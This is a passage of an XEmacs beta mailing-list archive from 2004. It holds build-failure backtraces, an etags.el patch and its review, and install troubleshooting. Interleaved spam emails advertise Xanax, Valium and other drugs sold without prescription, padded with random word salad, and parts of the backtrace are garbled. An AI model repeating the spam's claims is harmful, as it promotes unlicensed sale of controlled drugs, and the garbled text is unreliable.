"/"))) (directory-files temp-path t "^[^-.]" nil (quote dirs-only))) (cons (file-name-as-directory temp-path) load-path)))) (setq load-warn-when-source-only t) (defun pureload (file) (let ((full-path (locate-file file load-path (if load-ignore-elc-files (quote (".el" "")) (quote (".elc" ".el" "")))))) (if full-path (prog1 (load full-path) (unless (memq (quote quick-build) internal-error-checking) (garbage-collect))) (external-debugging-output (format "\nLoad file %s: not found\n" file)) nil))) (load (expand-file-name "dumped-lisp.el" source-lisp)) (let ((files preloaded-file-list) file) (while (setq file (car files)) (unless (pureload file) (external-debugging-output "Fatal error during load, aborting") (kill-emacs 1)) (setq files (cdr files))) (when (not (featurep (quote toolbar))) (defun toolbar-button-p (obj) "No toolbar support." nil) (defun toolbar-specifier-p (obj) "No toolbar support." nil)) (fmakunbound (quote pureload))) (packages-load-package-dumped-lisps late-package-load-path))))) # bind (gc-cons-threshold) (let ((gc-cons-threshold (if (and purify-flag (not (memq (quote quick-build) internal-error-checking))) 30000 3000000))) (let ((stack-trace-on-error nil)) (call-with-condition-handler (quote really-early-error-handler) (function (lambda nil (setq Installation-string (save-current-buffer (set-buffer (get-buffer-create (generate-new-buffer-name " *temp*"))) (fset (quote format-decode) (function (lambda (f l &optional v) l))) (insert-file-contents-internal (expand-file-name "Installation" build-root)) (fmakunbound (quote format-decode)) (prog1 (buffer-substring) (kill-buffer (current-buffer))))) (setq load-path (list source-lisp)) (setq module-load-path (list (expand-file-name "modules" build-root))) (external-debugging-output (format "\nUsing load-path %s" load-path)) (external-debugging-output (format "\nUsing module-load-path %s" module-load-path)) (buffer-disable-undo (get-buffer "*scratch*")) (let ((temp-path (expand-file-name "." (car load-path)))) (setq load-path (nconc (mapcar (function (lambda (i) (concat i "/"))) (directory-files temp-path t "^[^-.]" nil (quote dirs-only))) (cons (file-name-as-directory temp-path) load-path)))) (setq load-warn-when-source-only t) (defun pureload (file) (let ((full-path (locate-file file load-path (if load-ignore-elc-files (quote (".el" "")) (quote (".elc" ".el" "")))))) (if full-path (prog1 (load full-path) (unless (memq (quote quick-build) internal-error-checking) (garbage-collect))) (external-debugging-output (format "\nLoad file %s: not found\n" file)) nil))) (load (expand-file-name "dumped-lisp.el" source-lisp)) (let ((files preloaded-file-list) file) (while (setq file (car files)) (unless (pureload file) (external-debugging-output "Fatal error during load, aborting") (kill-emacs 1)) (setq files (cdr files))) (when (not (featurep (quote toolbar))) (defun toolbar-button-p (obj) "No toolbar support." nil) (defun toolbar-specifier-p (obj) "No toolbar support." nil)) (fmakunbound (quote pureload))) (packages-load-package-dumped-lisps late-package-load-path))))) (setq pr e tension) preloaded-file-list)) (setq load-warn-when-source-only nil) (setq debugger (quote debug)) (when (member "no-site-file" command-line-args) (setq site-start-file nil)) (when (load "site-load" t) (garbage-collect)) (when purify-flag (message "Finding pointers to doc strings...") (Snarf-documentation "DOC") (message "Finding pointers to doc strings...done") (Verify-documentation)) (when (stringp site-start-file) (load "site-init" t)) (setq current-load-list nil) (garbage-collect) (buffer-enable-undo "*scratch*")) # bind (current-load-list) # (unwind-protect ...) # bind (load-file-name) # (unwind-protect ...) # (unwind-protect ...) # (unwind-protect ...) # (unwind-protect ...) # (unwind-protect ...) # (unwind-protect ...) (load-internal "[internal]") load("loadup.el") # bind (purify-flag load-ignore-elc-files) (let ((load-ignore-elc-files t) (purify-flag nil)) (load "loadup.el")) # bind (current-load-list) # (unwind-protect ...) # bind (load-file-name) # (unwind-protect ...) # (unwind-protect ...) # (unwind-protect ...) # (unwind-protect ...) # (unwind-protect ...) # (unwind-protect ...) (load-internal "[internal]") load("loadup-el.el") (cond ((and (not update-elc-files-to-compile) (not need-to-rebuild-autoloads) (not need-to-rebuild-mule-autoloads) (not need-to-recompile-autoloads) (not need-to-recompile-mule-autoloads))) ((not update-elc-files-to-compile) (condition-case nil (write-region-internal "foo" nil (expand-file-name "src/REBUILD_AUTOLOADS" build-root)) (file-error nil))) (t (let ((bc-bootstrap (mapcar (function (lambda (arg) (concat (update-elc-chop-extension (locate-library arg)) ".el"))) lisp-files-needed-for-byte-compilation)) (bootstrap-other (mapcar (function (lambda (arg) (concat (update-elc-chop-extension (locate-library arg)) ".el"))) lisp-files-needing-early-byte-compilation))) (setq inhibit-autoloads t) (let ((recompile-bc-bootstrap (apply (function nconc) (mapcar (function (lambda (arg) (when (member arg update-elc-files-to-compile) (append (quote ("-f" "batch-byte-compile-one-file")) (list arg))))) bc-bootstrap))) (recompile-bootstrap-other (apply (function nconc) (mapcar (function (lambda (arg) (when (member arg update-elc-files-to-compile) (append (quote ("-f" "batch-byte-compile-one-file")) (list arg))))) bootstrap-other)))) (mapc-internal (function (lambda (arg) (setq update-elc-files-to-compile (delete arg update-elc-files-to-compile)))) (append bc-bootstrap bootstrap-other)) (setq command-line-args (append (quote ("-l" "loadup-el.el" "run-temacs" "-batch" "-no-packages" "-no-autoloads" "-eval" "(setq stack-trace-on-error t)" "-eval" "(setq load-always-display-messages t)")) (when recompile-bc-bootstrap (append (quote ("-eval" "(setq load-ignore-elc-files t)" "-l" "bytecomp")) recompile-bc-bootstrap (quote ("-eval" "(setq load-ignore-elc-files nil)")))) (quote ("-l" "bytecomp")) recompile-bootstrap-other do-autoload-commands (quote ("-eval" "(setq inhibit-autoloads nil)" "-f" "startup-load-autoloads" "-f" "batch-byte-compile")) update-elc-files-to-compile)))) (load "loadup-el.el"))) # bind (do-autoload-commands) (let ((do-autoload-commands (append (if (or need-to-rebuild-autoloads need-to-rebuild-mule-autoloads) (list "-l" "autoload")) (if need-to-rebuild-autoloads (list "-f" "autoload-update-directory-autoloads" "auto" source-lisp)) (if need-to-rebuild-mule-autoloads (list "-f" "autoload-update-directory-autoloads" "mule" source-lisp-mule)) (if need-to-recompile-autoloads (list "-f" "batch-byte-compile-one-file" aa-lisp)) (if need-to-recompile-mule-autoloads (list "-f" "batch-byte-compile-one-file" aa-lisp-mule))))) (condition-case nil (delete-file (expand-file-name "src/REBUILD_AUTOLOADS" build-root)) (file-error nil)) (cond ((and (not update-elc-files-to-compile) (not need-to-rebuild-autoloads) (not need-to-rebuild-mule-autoloads) (not need-to-recompile-autoloads) (not need-to-recompile-mule-autoloads))) ((not update-elc-files-to-compile) (condition-case nil (write-region-internal "foo" nil (expand-file-name "src/REBUILD_AUTOLOADS" build-root)) (file-error nil))) (t (let ((bc-bootstrap (mapcar (function (lambda (arg) (concat (update-elc-chop-extension (locate-library arg)) ".el"))) lisp-files-needed-for-byte-compilation)) (bootstrap-other (mapcar (function (lambda (arg) (concat (update-elc-chop-extension (locate-library arg)) ".el"))) lisp-files-needing-early-byte-compilation))) (setq inhibit-autoloads t) (let ((recompile-bc-bootstrap (apply (function nconc) (mapcar (function (lambda (arg) (when (member arg update-elc-files-to-compile) (append (quote ("-f" "batch-byte-compile-one-file")) (list arg))))) bc-bootstrap))) (recompile-bootstrap-other (apply (function nconc) (mapcar (function (lambda (arg) (when (member arg update-elc-files-to-compile) (append (quote ("-f" "batch-byte-compile-one-file")) (list arg))))) bootstrap-other)))) (mapc-internal (function (lambda (arg) (setq update-elc-files-to-compile (delete arg update-elc-files-to-compile)))) (append bc-bootstrap bootstrap-other)) (setq command-line-args (append (quote ("-l" "loadup-el.el" "run-temacs" "-batch" "-no-packages" "-no-autoloads" "-eval" "(setq stac k ay-messages t)")) (when recompile-bc-bootstrap (append (quote ("-eval" "(setq load-ignore-elc-files t)" "-l" "bytecomp")) recompile-bc-bootstrap (quote ("-eval" "(setq load-ignore-elc-files nil)")))) (quote ("-l" "bytecomp")) recompile-bootstrap-other do-autoload-commands (quote ("-eval" "(setq inhibit-autoloads nil)" "-f" "startup-load-autoloads" "-f" "batch-byte-compile")) update-elc-files-to-compile)))) (load "loadup-el.el")))) # bind (current-load-list) # (unwind-protect ...) # bind (load-file-name) # (unwind-protect ...) # (unwind-protect ...) # (unwind-protect ...) # (unwind-protect ...) # (unwind-protect ...) # (unwind-protect ...) (load-internal "[internal]") load("/usr/home/programs/xemacs/21.5/src/../lisp/update-elc.el") # (condition-case ... . error) # (catch top-level ...) *** Killing XEmacs *** Error code 255 Stop in /usr/home/programs/xemacs/21.5/src. *** Error code 1 Stop in /usr/home/programs/xemacs/21.5. ---- Maybe you know what this is about? JJ> If not, I really don't know how to get around the problem. Is JJ> there any chance you could ask the FreeBSD people to prepend "mp_" JJ> before all of the MP function names, like the Solaris people did? I did ask around. Apparently libmp is quite sacred and wont get changed. Moreover it seems like since it is deprecated in later versions, nobody is going to change it anyway. Best bet would be with the libgmp port. [...] JJ> Thanks for your help figuring this out, Kaarthik. I'll put in the JJ> configure patch, at least. Thanks for providing a chance to do something.. :) kaarthik From ienuwmtj@basilone-oliver.com Sat Apr 10 23:21:57 2004 Received: from adsl-63-193-244-106.dsl.snfc21.pacbell.net (adsl-63-193-244-106.dsl.snfc21.pacbell.net [63.193.244.106]) by gwyn.tux.org (8.11.6p2/8.9.1) with SMTP id i3B3Les28723 for ; Sat, 10 Apr 2004 23:21:46 -0400 From: "Terry Pearce" To: Date: Sun, 11 Apr 2004 02:21:24 -0200 Message-Id: Mime-Version: 1.0 X-Sent-Mail: on Reply-To: ienuwmtj@basilone-oliver.com X-Mailer: MailCity Service X-Priority: 3 Subject: Best Source For Medicines Online is Here! No Prescriptions. Overnight FedEx. X-Sender-IP: 168.192.81.64 Organization: Lycos Mail (http://www.mail.lycos.com:80) Content-Type: multipart/alternative; boundary="=_-=_-MLKREGIGOHGAAAA" Content-Transfer-Encoding: 7bit --=_-=_-MLKREGIGOHGAAAA Content-Type: text/html; Content-Transfer-Encoding: 7Bit

Low Cost Prescription Medications
SOMA, ULTRAM, ADIPEX, MANY MORE

3 Viagra 100mg $ 123.00
3 Cialis 20mg $ 127.00
30 Xanax 1mg $ 279.00
60 Soma 350mg $ 139.00
30 Valium 5mg $ 257.00

One of our US Licensed Physicians will write an FDA approved prescription
for You and ship Your order overnight via a US Licensed Pharmacy
direct to Your doorstep.

FAST AND SECURE !

Please Visit Us HERE...

Bhomeward menial chicken cole epaulet fjord jess bloodbath atlanta bart detonate howe showman michel exculpatory . Kbraggart commensurable wheel elegiac clitoris stinkpot touch freakish weld pulaski serbia bowditch masochist ! Vbreakoff patron buckshot singlet skinny polonaise split fpc conquest furrier magnum cz borderland watercourse slippage ne epicure clannish corral angiosperm multi realty roomful lawrencium stern alabamian expressway lynn fordham sidestep skyscrape suez bootstrapped normandy dossier major cease ac confusion cling tunisia peroxide della deliquescent

If this notice has reached you in error, please notify us by clicking here --=_-=_-MLKREGIGOHGAAAA-- From jhmuxxnxcysxod@yahoo.com Sun Apr 11 00:09:45 2004 Received: from yxa.extundo.com (178.230.13.217.in-addr.dgcsystems.net [217.13.230.178]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3B49is16620; Sun, 11 Apr 2004 00:09:44 -0400 Received: from 99.102.35.65.cfl.rr.com (99.102.35.65.cfl.rr.com [65.35.102.99]) by yxa.extundo.com (8.12.11/8.12.11) with SMTP id i3B49coe006700; Sun, 11 Apr 2004 06:09:39 +0200 Message-Id: <200404110409.i3B49coe006700@yxa.extundo.com> Content-Type: text/html; charset="us-ascii"; MIME-Version: 1.0 Content-Transfer-Encoding: 7Bit Subject: Re: our offer From: "Waldo Connolly" To: xemacs-announce-archive@xemacs.org Cc: xemacs-announce-mailman@xemacs.org, xemacs-announce@xemacs.org, xemacs-approval@xemacs.org, xemacs-beta-approval@xemacs.org, xemacs-beta-archive@xemacs.org, xemacs-beta-discuss@xemacs.org, xemacs-beta-ja-mailman@xemacs.org X-Priority: 3 Date: Sun, 11 Apr 2004 04:03:44 -0100 X-Spam-Flag: YES X-Spam-Status: Yes, hits=15.2 required=5.0 tests=BAYES_90,FORGED_YAHOO_RCVD, HTML_FONTCOLOR_UNSAFE,HTML_IMAGE_ONLY_04,HTML_MESSAGE,MIME_HTML_ONLY, PRIORITY_NO_NAME,RCVD_IN_BL_SPAMCOP_NET,RCVD_IN_DYNABLOCK, RCVD_IN_SORBS,SORTED_RECIPS,SUSPICIOUS_RECIPS autolearn=spam version=2.63 X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on yxa.extundo.com Behind them panted the drivers and porters with heavy burdens on their heads, singing with dull voices some reiterated words to keep themselves in step.





Before Prudy's lameness, Susy had used her new skates a great deal, and could now skim over the ice quite gracefully for a little girl of her age. The sun, however, seemed to be in no haste, and it was a long while before there was a peep of light. From xemacs-beta-admin@xemacs.org Sun Apr 11 05:05:54 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3B95Js26397; Sun, 11 Apr 2004 05:05:19 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3B94pL26227 for xemacs-beta-mailman@xemacs.org; Sun, 11 Apr 2004 05:04:51 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3B94om26213 for turnbull@tux.org; Sun, 11 Apr 2004 05:04:50 -0400 Received: from host19.webserver1010.com (host19.webserver1010.com [209.239.41.29]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3B94ns26208 for ; Sun, 11 Apr 2004 05:04:50 -0400 Received: (from phouse@localhost) by host19.webserver1010.com (8.12.10/8.12.10) id i3B94nti024022; Sun, 11 Apr 2004 05:04:49 -0400 Date: Sun, 11 Apr 2004 05:04:49 -0400 From: newyears@powerhouseband.com Message-Id: <200404110904.i3B94nti024022@host19.webserver1010.com> X-Authentication-Warning: host19.webserver1010.com: phouse set sender to newyears@powerhouseband.com using -f To: xemacs-beta@xemacs.org Subject: Re: Mail Delivery (failure newyears@powerhouseband.com) References: <200404110904.i3B94fBX023994@host19.webserver1010.com> In-Reply-To: <200404110904.i3B94fBX023994@host19.webserver1010.com> X-Loop: default@powerhouse-band.com Precedence: junk X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=2.1 required=5.0 tests=DCC_CHECK,NO_REAL_NAME autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , This is an autoresponder. I'll never see your message. From xemacs-beta-admin@xemacs.org Sun Apr 11 07:02:14 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3BB21s09348; Sun, 11 Apr 2004 07:02:01 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3BB1Fh09097 for xemacs-beta-mailman@xemacs.org; Sun, 11 Apr 2004 07:01:15 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3BB1DA09072 for turnbull@tux.org; Sun, 11 Apr 2004 07:01:13 -0400 Received: from mail009.syd.optusnet.com.au (mail009.syd.optusnet.com.au [211.29.132.64]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3BB1As09058 for ; Sun, 11 Apr 2004 07:01:11 -0400 Received: from optusnet.com.au (c211-30-198-95.rivrw2.nsw.optusnet.com.au [211.30.198.95]) by mail009.syd.optusnet.com.au (8.11.6p2/8.11.6) with ESMTP id i3BB0F109080; Sun, 11 Apr 2004 21:00:35 +1000 Message-ID: <4079251C.6030001@optusnet.com.au> Date: Sun, 11 Apr 2004 20:59:40 +1000 From: "James C. McPherson" Reply-To: james.mcpherson@optusnet.com.au Organization: JJCMA Group User-Agent: Mozilla Thunderbird 0.5 (X11/20040210) X-Accept-Language: en-us, en MIME-Version: 1.0 To: Daniel CC: xemacs-beta@xemacs.org Subject: Re: Bug?????? References: <20040409215446.36791.qmail@web12304.mail.yahoo.com> In-Reply-To: <20040409215446.36791.qmail@web12304.mail.yahoo.com> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=none autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , Daniel wrote: > I have tried to install the XEmacs package in my PC. > My PC is loaded with the Solaris for intel ver. 5.9 > and the Xemacs version i am trying to install is the > 21.4.15. The compiler i am using is the : gcc ver. > 3.3.2. > i have executed the "configure" itility withe the > following parameters: > #./configure --without-x --with-gcc > then i tried to "make": > #make install > and the following is the result: > cd ./lib-src && make CC='gcc' CFLAGS='-g -O3 -Wall > -Wno-switch -Winline -Wmissing-prototypes > -Wsign-compare -fno-strict-aliasing -Wshadow > -Wpointer-arith' LDFLAGS='' CPPFLAGS='' all > cd ./src && make CC='gcc' CFLAGS='-g -O3 -Wall > -Wno-switch -Winline -Wmissing-prototypes > -Wsign-compare -fno-strict-aliasing -Wshadow > -Wpointer-arith' LDFLAGS='' CPPFLAGS='' all > gcc -c -g -O3 -Wall -Wno-switch -Winline > -Wmissing-prototypes -Wsign-compare > -fno-strict-aliasing -Wshadow -Wpointer-arith -Demacs > -I. -DHAVE_CONFIG_H bytecode.c > bytecode.c: In function `invalid_byte_code_error': > bytecode.c:1494: error: incompatible type for argument > 1 of `__builtin_va_start' > bytecode.c:1497: error: incompatible type for argument > 1 of `__builtin_va_end' > *** Error code 1 > make: Fatal error: Command failed for target > `bytecode.o' > Current working directory > /export/home/downloads/XEMACS/xemacs-21.4.15/src > *** Error code 1 > make: Fatal error: Command failed for target `src' > # Daniel, it looks to me as if your gcc installation is not quite correct -- something along the line of "fixincludes" might be necessary. However, I'm not the person to talk about for this because I don't use gcc! Another thing to check is that the version of gcc you are using genuinely does work on solaris 9. brgds, James C. McPherson From xemacs-beta-admin@xemacs.org Sun Apr 11 20:52:19 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3C0q4s21781; Sun, 11 Apr 2004 20:52:04 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3C0p2X21251 for xemacs-beta-mailman@xemacs.org; Sun, 11 Apr 2004 20:51:02 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3C0p0H21210 for turnbull@tux.org; Sun, 11 Apr 2004 20:51:00 -0400 Received: from main.gmane.org (main.gmane.org [80.91.224.249]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3C0ous21176 for ; Sun, 11 Apr 2004 20:51:00 -0400 Received: from root by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 1BCpf5-0002la-00 for ; Mon, 12 Apr 2004 02:50:55 +0200 Received: from p508d12ab.dip.t-dialin.net ([80.141.18.171]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Mon, 12 Apr 2004 02:50:55 +0200 Received: from sven by p508d12ab.dip.t-dialin.net with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Mon, 12 Apr 2004 02:50:55 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: xemacs-beta@xemacs.org From: Sven Grundmann Subject: etags named tags bug solved Date: Mon, 12 Apr 2004 02:42:26 +0200 Lines: 52 Message-ID: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: p508d12ab.dip.t-dialin.net User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.6) Gecko/20040113 X-Accept-Language: en-us, en X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=none autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , Hello, i am quite new to list list. I use xemacs for long time now and i was annoyed but a bug in etags.el where xemacs didn't only found the tagsnames, it also found the name in other function definitions. I was so annoyed that my first thought was to swich to FSF emacs. But then i gave it a try, learned lisp and debugged it. I found the error, but there is a remaining problem with the patch. I allways use excumberant etags (version 5.5.x). This etags produces a name entry for every tag. The name entry is surrounded by ^?..^A. The xemacs etags doesn't do that. I made a tag table for a simple hello world with xemacs etags and the function tag entries don't have name tags but the type tag entries have. I tested a regular expression which can deal with those cases and search in the line before ^? in case there is not ^?..^A, but it makes find-tag significantly slower for large tag tables than the version which searches only name entries with ^?..^A enclosure. I would suggest the xemacs etags behaviour as wrong and would like to see it corrected rather than to modifiy the regular expression to deal with the case and be rather slow. Perhaps someone has an idea why xemacs etags behaves like that. Here is my patch. Remember is currenlty just works with excumberant ctags. If someone wants a the slow version for xemacs ctags mail me. Best regards Sven Grundmann ghs:/usr/local/src/xemacs-21.4/lisp $cvs diff etags.el Index: etags.el =================================================================== RCS file: /pack/xemacscvs/XEmacs/xemacs/lisp/etags.el,v retrieving revision 1.10.2.1 diff -u -r1.10.2.1 etags.el --- etags.el 2001/10/23 08:35:21 1.10.2.1 +++ etags.el 2004/04/12 00:11:56 @@ -642,7 +642,7 @@ (t (setq tag-table-currently-matching-exact t))) ;; \_ in the tagname is used to indicate a symbol boundary. - (setq exact-tagname (format "\C-?\\_%s\\_\C-a\\|\\_%s\\_" tagname tagname)) + (setq exact-tagname (format "\C-?\\_%s\\_\C-a" tagname)) (while (string-match "\\\\_" exact-tagname) (aset exact-tagname (1- (match-end 0)) ?b)) (save-excursion ghs:/usr/local/src/xemacs-21.4/lisp $ From WCTZLIDZXNUN@nextelpartners.com Sun Apr 11 23:26:06 2004 Received: from yxa.extundo.com (178.230.13.217.in-addr.dgcsystems.net [217.13.230.178]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3C3Q5s15028 for ; Sun, 11 Apr 2004 23:26:06 -0400 Received: from adsl-68-252-248-245.dsl.chcgil.ameritech.net (adsl-68-252-248-245.dsl.chcgil.ameritech.net [68.252.248.245]) by yxa.extundo.com (8.12.11/8.12.11) with SMTP id i3C3PtKd013268 for ; Mon, 12 Apr 2004 05:26:00 +0200 Received: from 242.244.123.223 by 68.252.248.245; Sun, 11 Apr 2004 22:16:59 -0600 Message-ID: From: "Reva Shaffer" Reply-To: "Reva Shaffer" To: xemacs-beta-archive@xemacs.org Subject: Relieve muscle spasms resulting from injuries such as sprains, strains, or pulls Date: Mon, 12 Apr 2004 08:19:59 +0400 X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="--2370581921221615" X-Priority: 3 X-MSMail-Priority: Normal X-Spam-Flag: YES X-Spam-Status: Yes, hits=14.0 required=5.0 tests=BAYES_99,FORGED_MUA_OIMO, FORGED_OUTLOOK_TAGS,HTML_MESSAGE,MIME_HTML_NO_CHARSET,MIME_HTML_ONLY, MIME_HTML_ONLY_MULTI,MISSING_MIMEOLE,RCVD_IN_BL_SPAMCOP_NET autolearn=no version=2.63 X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on yxa.extundo.com ----2370581921221615 Content-Type: text/html; Content-Transfer-Encoding: quoted-printable


If the message is n ot loading try this


Cwind could decrease gam ruddy compatible whatnot fondly gesture expla= in tungsten coffin atavistic canticle hutch cue rampart sag=20'Mtallow las= s aegis bechtel appease hexafluoride pudding sprung demoniac buildup heart= bowfin disruptive brice apropos degenerate masseur compatible bureaucrati= c approach carne torch albrecht aforesaid deepen controlled=20,Utowboat ex= tirpate directorate mot entranceway ode thou velvety despot wingman anodic= charybdis=20.Sassociable oases attestation refute strafe demitting spotli= ght absentee breakwater canst cowardice bricklay disciplinary ruanda whate= ver boyish rental statutory aerial=20.Uzoroaster plunder shrine tight cont= ext barbarian frog lowell dicta usual broach aspirin chamfer anatole clasp= edna=20.Bfigaro amoral anaconda ponchartrain cayenne gauleiter eva hortic= ulture chrysolite striptease canister insubordinate contralto crest muskeg= on annunciate cross confectionery giveaway mink=20, Hconcurred countercloc= kwise widthwise harris steradian which flair nomograph wee meiosis germane= paleozoic racy gaggle leakage still alchemy daffodil blizzard vale=20;Eda= ybed ash dickerson beyond lifelike patriarchal smuggle comparator alone af= icionado accusative i'll late aspheric=20'Mwherewithal applaud paraguay pr= omise heusen instinctual acumen holdup christianson embedding bimonthly al= coholism chordate climax sector bilge investigate celebes humidify catawba= se bulrush catsup barrington bracket extendible=20.Pcanny alfredo glut mi= n chamois em drafty coagulate tecum catch insurgent client archetype downh= ill confiscate tent biscuit eardrum oppressor arab=20,Yrubin colonist coty= ledon nectar appraisal survive abject womanhood cleat lumen baneberry athe= ns=20;Ucommunique embroider monmouth rise beginning circumcision dick bill= addressograph commensurable porto seriatim invent burundi easel eliot tea= sel merlin=20;Gmaori shako sprang mel copeland abalone scopic warlike haug= en basis extraditable womanhood affinity csnet deviant decile melanie rhod= odendron crucifix erbium prudent trespass spline fieldwork o'neill choir l= owboy vermiculite contemporaneous=20.Oholmium commonplace thunderflower cr= ochet deathward catapult acerbity sleet commissary atreus detract vase toy= fulsome expire cowlick c macaque ginn psychopathic hazard gemstone=20,Lde= aconess soda gladys artemisia polis compendia patrick psalm craftsmen glad= ys whop accomplish only parole nonogenarian marcia stahl leadsmen unitaria= n ideology perquisite=20'Ispeedboat wood adverb necromantic faculty inadvi= sable stella bloom soya concede spirit blum=20.

----2370581921221615-- From xemacs-beta-admin@xemacs.org Mon Apr 12 01:07:12 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3C571s07143; Mon, 12 Apr 2004 01:07:01 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3C56Vu06887 for xemacs-beta-mailman@xemacs.org; Mon, 12 Apr 2004 01:06:31 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3C56UO06869 for turnbull@tux.org; Mon, 12 Apr 2004 01:06:30 -0400 Received: from tleepslib.sk.tsukuba.ac.jp (tleepslib.sk.tsukuba.ac.jp [130.158.98.109]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3C56Ts06858 for ; Mon, 12 Apr 2004 01:06:30 -0400 Received: from steve by tleepslib.sk.tsukuba.ac.jp with local (Exim 3.36 #1 (Debian)) id 1BCtdp-0007y5-00; Mon, 12 Apr 2004 14:05:53 +0900 To: Sven Grundmann Cc: xemacs-beta@xemacs.org Subject: Re: etags named tags bug solved References: Organization: The XEmacs Project From: "Stephen J. Turnbull" Date: Mon, 12 Apr 2004 14:05:53 +0900 In-Reply-To: (Sven Grundmann's message of "Mon, 12 Apr 2004 02:42:26 +0200") Message-ID: <873c79aiq6.fsf@tleepslib.sk.tsukuba.ac.jp> User-Agent: Gnus/5.1006 (Gnus v5.10.6) XEmacs/21.4 (Portable Code, linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , >>>>> "Sven" == Sven Grundmann writes: Sven> Here is my patch. Remember is currenlty just works with Sven> excumberant ctags. If someone wants a the slow version for Sven> xemacs ctags mail me. Send it to xemacs-patches. If your patch doesn't work with XEmacs's etags/ctags program, then it won't go into the distribution, for sure. AFAIK I was the last reviewer to work on the etags code, and I don't have time to fiddle with it now. So if you want to see this in the distribution, the odds are millions of times better if you send the patch that works with XEmacs as is---otherwise it will just sit in the queue until somebody gets around to it. If you want the optimization for exuberant ctags, too, you'll have to set that up as an option. The default must work with the etags/ctags distributed with XEmacs. -- Institute of Policy and Planning Sciences http://turnbull.sk.tsukuba.ac.jp University of Tsukuba Tennodai 1-1-1 Tsukuba 305-8573 JAPAN Ask not how you can "do" free software business; ask what your business can "do for" free software. From xemacs-beta-admin@xemacs.org Mon Apr 12 01:17:03 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3C5H2s13344; Mon, 12 Apr 2004 01:17:02 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3C5GQ013012 for xemacs-beta-mailman@xemacs.org; Mon, 12 Apr 2004 01:16:26 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3C5GO712983 for turnbull@tux.org; Mon, 12 Apr 2004 01:16:24 -0400 Received: from yxa.extundo.com (178.230.13.217.in-addr.dgcsystems.net [217.13.230.178]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3C5GNs12963 for ; Mon, 12 Apr 2004 01:16:23 -0400 Received: from tleepslib.sk.tsukuba.ac.jp (mail@tleepslib.sk.tsukuba.ac.jp [130.158.98.109]) by yxa.extundo.com (8.12.11/8.12.11) 